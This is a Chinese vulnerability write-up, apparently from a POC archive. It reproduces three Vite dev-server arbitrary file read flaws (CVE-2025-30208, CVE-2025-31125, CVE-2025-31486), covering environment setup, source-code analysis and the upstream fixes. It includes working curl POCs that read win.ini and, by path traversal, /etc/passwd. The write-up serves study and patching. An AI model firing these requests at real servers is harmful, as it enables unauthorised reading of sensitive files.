关联漏洞
描述
Analysis of the Reproduction of CVE-2025-30208 Series Vulnerabilities
介绍
# CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486
# 1. 漏洞概述
CVE-2025-30208, CVE-2025-31125和CVE-2025-31486是Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,通过fs模块读取服务器上的敏感文件。上述三个漏洞可以算作是一个系列的漏洞,因为造成漏洞的原因非常相似。
CVE-2025-30208影响版本如下所示
```
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
```
CVE-2025-31125影响版本如下所示
```
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
```
CVE-2025-31486影响版本如下所示
```
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
```
# 2 环境搭建
本地从0开始搭建漏洞环境的话首先通过`create-vite`创建项目
```shell
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
```
此时生成的 package.json 中 Vite 版本可能包含 ^ 符号(如 "vite": "^6.2.0"),需手动修改为精确版本号(如 "vite": "6.2.0"),再执行:
```shell
npm install
```
最后启动环境即可:
```shell
npm run dev
```
当然也可以直接利用本仓库下的`vuln-env`文件夹,`npm install`之后`npm run dev`即可。
# 3. 漏洞复现
为了方便,三个漏洞的复现都是在6.2.0版本进行的。执行`npm run dev`, 等待环境启动。

CVE-2025-30208 POC
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"
```

CVE-2025-31125 POC
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
```

读取的内容是经过base64编码后,解码后可得原始文件内容。

CVE-2025-31486 POC
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
```
通报中所提到的通过相对路径读取的POC如下
```
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
```
x表示本地项目的路径,本地测试poc如下
```
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
```
可以看到POC基本分为两类,不需要添加HTTP Header的都要存在`?import&`,这里先按下不表,在源码分析阶段会做说明。
# 4. 源码分析
## 4.1 CVE-2025-30208
分析源码需要调试,这里通过vscode调试项目,`launch.json`文件的内容如下。
```json
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
```
从官方的修补方案来看,是对`transformMiddleware`函数中针对URL格式检测和判断服务是否能够访问的if语句做了加强,那么断点下在`transformMiddleware`函数,跟一下请求的解析过程。

因为创建出来的项目只有编译后的js文件,所以直接全文件搜索函数关键字添加断点。

打一下POC,成功断在了目标函数。可以看到,经过一些变量的赋值之后,调用过程进入`viteTransformMiddleware`函数,在判断请求方法是否是`GET`以及请求的是否是根目录以及icon之后,url经过`removeTimestampQuery`被抹除了末尾的`?`。
```
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
```
通过`cleanUrl()`来获取不包含请求参数的URL,此时`withoutQuery`的值为`"/@fs/c:/windows/win.ini"`,因此不会进入`if (!isSourceMap)`代码段。紧接着通过`publicDirInRoot`判断静态资源目录是否被配置在项目根目录下,`url.startsWith(publicPath)`检查请求的URL是否以配置的公共路径(如/public/)开头。当两个条件同时满足时,调用`warnAboutExplicitPublicPathInUrl(url)`发出警告。这通常表示开发者可能在代码中错误地重复添加了公共路径。URL并不符合条件,因此也跳过了对应的代码段。`rawRE.test(url)`和`urlRE.test(url)`的结果都是False,因此不会判断`ensureServingAccess()`的结果而直接把逻辑表达式的结果设置为False,跳过代码段。在紧接着的if判断中,URL符合`ImportQueryRE`所定义的正则形式而进入if代码段内容,URL经过`removeImportQuery()`函数变更为`/@fs/c:/windows/win.ini?raw`,送入`transformRequest()`函数。
```
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
```
在判断`isJSRequest(url)`的if语句中,可以看到他还判断了HTTP Header的`sec-fetch-dest`值是否是`script`,如果是则同样可以通过判断,这也就是在前文提到的POC基本分为两类的原因,添加HTTP Header和`?import&`都是为了通过if语句的判断。(其实用其他方法也可以通过判断,比如通过`isHTMLProxy(url)` -> `/@fs/c:/windows/win.ini?html-proxy&raw??`)

经过参数处理、环境检查、缓存键与重复请求检测之后,进入`doTransform()`函数。

经过缓存有效性检查之后URL`/@fs/c:/windows/win.ini?raw`被解析后得到ID`c:/windows/win.ini?raw`,然后进入`loadAndTransform()`函数。

同样经过一些赋值操作之后,根据id的值来加载插件。插件的加载顺序如下所示
```
vite:optimized-deps
↓
vite:modulepreload-polyfill
↓
vite:resolve
↓
vite:html-inline-proxy
↓
vite:css
↓
vite:wasm-helper
↓
vite:worker
↓
vite:asset
```

CVE-2025-30208的成因是攻击者精心构造的URL被解析和处理后通过了`assetPlugin`插件`if (rawRE.test(id))`的判断,被送入`fsp.readFile()`函数导致了本地文件的读取。

## 4.2 CVE-2025-31125
CVE-2025-31125的成因则是URL被解析后满足了`wasmHelperPlugin`插件的`id.endsWith(".wasm?init")`条件,被送入`fileToUrl$1()`函数,并且满足`inlineRE$2.test(id)`后送入`fsp.readFile()`函数导致了本地文件的读取。

## 4.3 CVE-2025-31486
CVE-2025-31486和CVE-2025-31125非常类似,从CVE-2025-31125的分析图中可以看到,`fileToDevUrl()`函数中一共只有两个包含正则判断的if语句,`inlineRE$2.test(id)`所在的if代码段是CVE-2025-31125的触发位置,紧随其后的`svgExtRE.test(id)`if代码段就是CVE-2025-31486的触发位置。
而相对路径的利用方法则是绕过了`ensureServingAccess()`的校验。

url进入`isFileServingAllowed()`函数之后首先会被`fsPathFromUrl()`中的`cleanUrl()`去除`?#`及之后的内容,那么对于POC中的url就会发生如下变化
```
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
⬇
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/
```
然后Url进入`isFileLoadingAllowed()`中的`isUriFilePath()`进行校验,并在之后通过`isParentDirectory()`的判断。

# 5. 漏洞修复
## 5.1 CVE-2025-30208
从修复提交commit`262b5ec`来看,官方采取的修复方式是清除参数末尾多余的`?`,那么参数在面对`if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)) `时就会因为`rawRE.test()`成功匹配而使得能够正常进入`ensureServingAccess()`,进而来验证服务是否允许访问,避免了修复前由于逻辑表达式短路而引起的未授权读取。

## 5.2 CVE-2025-31125
从修复提交Commit`5967313`来看,官方添加了正则`inlineRE`,那么对于`?inline=1.wasm?init`就会被正则匹配到,然后正常进入`ensureServingAccess()`判断服务是否可以访问。

## 5.3 CVE-2025-31486
从修复提交Commit`62d7e81`来看,官方的修复主要包含两个部分,第一部分则是为了处理`.svg`绕过而新增了一个`svgRE`的正则匹配。

第二部分则是为了处理相对路径读取而将参数`id`清理之后再送入`svgRe.test()`,使得参与`svgRe.test()`检测的参数与参与`file`拼接的参数保持一致。

文件快照
[4.0K] /data/pocs/a21b8ffe2deff0bd860db3de3f1286ce5719f3f2
├── [2.3K] 20250324_vite_vite_pre-auth_arbitrary_file_read_CVE-2025-30208.py
├── [2.7K] 20250401_vite_vite_pre-auth_arbitrary_file_read_CVE-2025-31125.py
├── [2.7K] 20250408_vite_vite_pre-auth_arbitrary_file_read_CVE-2025-31486.py
├── [8.6K] README.md
├── [4.0K] resources
│ ├── [ 45K] image_10.png
│ ├── [ 41K] image_11.png
│ ├── [152K] image_12.png
│ ├── [ 98K] image_13.png
│ ├── [108K] image_14.png
│ ├── [109K] image_15.png
│ ├── [ 46K] image_16.png
│ ├── [239K] image_17.png
│ ├── [ 85K] image_18.png
│ ├── [206K] image_19.png
│ ├── [ 18K] image_1.png
│ ├── [ 60K] image_2.png
│ ├── [ 75K] image_3.png
│ ├── [ 24K] image_4.png
│ ├── [107K] image_5.png
│ ├── [150K] image_6.png
│ ├── [179K] image_7.png
│ ├── [ 87K] image_8.png
│ └── [250K] image_9.png
└── [4.0K] vuln-env
├── [ 362] index.html
├── [ 410] package.json
├── [ 44K] package-lock.json
├── [4.0K] public
│ └── [1.5K] vite.svg
├── [ 442] README.md
├── [4.0K] src
│ ├── [ 646] App.vue
│ ├── [4.0K] assets
│ │ └── [ 496] vue.svg
│ ├── [4.0K] components
│ │ └── [ 856] HelloWorld.vue
│ ├── [ 111] main.ts
│ ├── [1.2K] style.css
│ └── [ 38] vite-env.d.ts
├── [ 392] tsconfig.app.json
├── [ 119] tsconfig.json
├── [ 593] tsconfig.node.json
└── [ 155] vite.config.ts
6 directories, 38 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。